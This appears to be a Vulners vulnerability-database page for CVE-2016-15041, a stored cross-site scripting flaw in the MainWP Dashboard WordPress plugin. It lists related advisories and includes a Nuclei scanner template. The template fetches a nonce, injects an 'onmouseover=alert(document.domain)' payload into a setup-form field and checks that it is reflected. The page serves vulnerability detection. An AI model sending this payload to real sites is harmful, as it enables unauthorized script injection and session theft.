| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Exploit for Cross-site Scripting in Mainwp Mainwp_Dashboard | 25 Dec 202509:38 | – | githubexploit | |
| Exploit for Cross-site Scripting in Mainwp Mainwp_Dashboard | 25 Dec 202507:00 | – | githubexploit | |
| CVE-2016-15041 | 25 Dec 202515:00 | – | circl | |
| WordPress plugin MainWP Dashboard 跨站脚本漏洞 | 16 Oct 202400:00 | – | cnnvd | |
| CVE-2016-15041 | 16 Oct 202406:43 | – | cve | |
| CVE-2016-15041 MainWP Dashboard – The Private WordPress Manager for Multiple Website Maintenance Plugin <= 3.1.2 - Stored Cross-Site Scripting | 16 Oct 202406:43 | – | cvelist | |
| EUVD-2016-10785 | 7 Oct 202500:30 | – | euvd | |
| CVE-2016-15041 | 16 Oct 202407:15 | – | nvd | |
| PT-2024-10574 | 16 Oct 202400:00 | – | ptsecurity | |
| CVE-2016-15041 | 6 Feb 202503:10 | – | redhatcve |
| Source | Link |
|---|---|
| klikki | www.klikki.fi/mainwp-admin-panel-unauthenticated-stored-xss/ |
id: CVE-2016-15041
info:
name: MainWP Dashboard <= 3.1.2 - Stored Cross-Site Scripting
author: flame
severity: high
description: |
MainWP Dashboard – The Private WordPress Manager for Multiple Website Maintenance plugin for WordPress versions up to 3.1.2 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in 'mwp_setup_purchase_username' parameter, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.
impact: |
Unauthenticated attackers can inject scripts that execute in users' browsers, potentially leading to session hijacking, defacement, or redirection.
remediation: |
Update to the latest version of the plugin that addresses this vulnerability.
reference:
- https://klikki.fi/mainwp-admin-panel-unauthenticated-stored-xss/
metadata:
verified: true
max-request: 4
fofa-query: "/wp-content/plugins/mainwp/"
tags: cve,cve2016,mainwp,wordpress,xss,wp,wp-plugin,vkev
variables:
randstr: "{{rand_base(8)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/mainwp-vuln/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- compare_versions(version, '<= 3.1.2')
condition: and
internal: true
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- 'Stable tag: ([0-9.]+)'
internal: true
- raw:
- |
GET /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce={{nonce}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
mwp_setup_purchase_username={{randstr}}"+onmouseover%3Dalert(document.domain)+x%3D"&mwp_setup_purchase_passwd=test&save_step=1
- |
GET /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '_wpnonce" value="([a-zA-Z0-9]+)"'
internal: true
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- "MainWP"
- "Setup Wizard"
- "mwp_setup_purchase_username"
condition: and
- type: word
part: body_3
words:
- ' onmouseover=alert(document.domain) x'
- type: status
status:
- 200
# digest: 4a0a00473045022100be4a0aab8a0674178125439960de423fe5845f9adec80cfdf9bf84be930aa8de02202f2ac43ce1b67d7fef376c9c5c8dc34b468ca363bf61a204d88655e6613c92f0:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation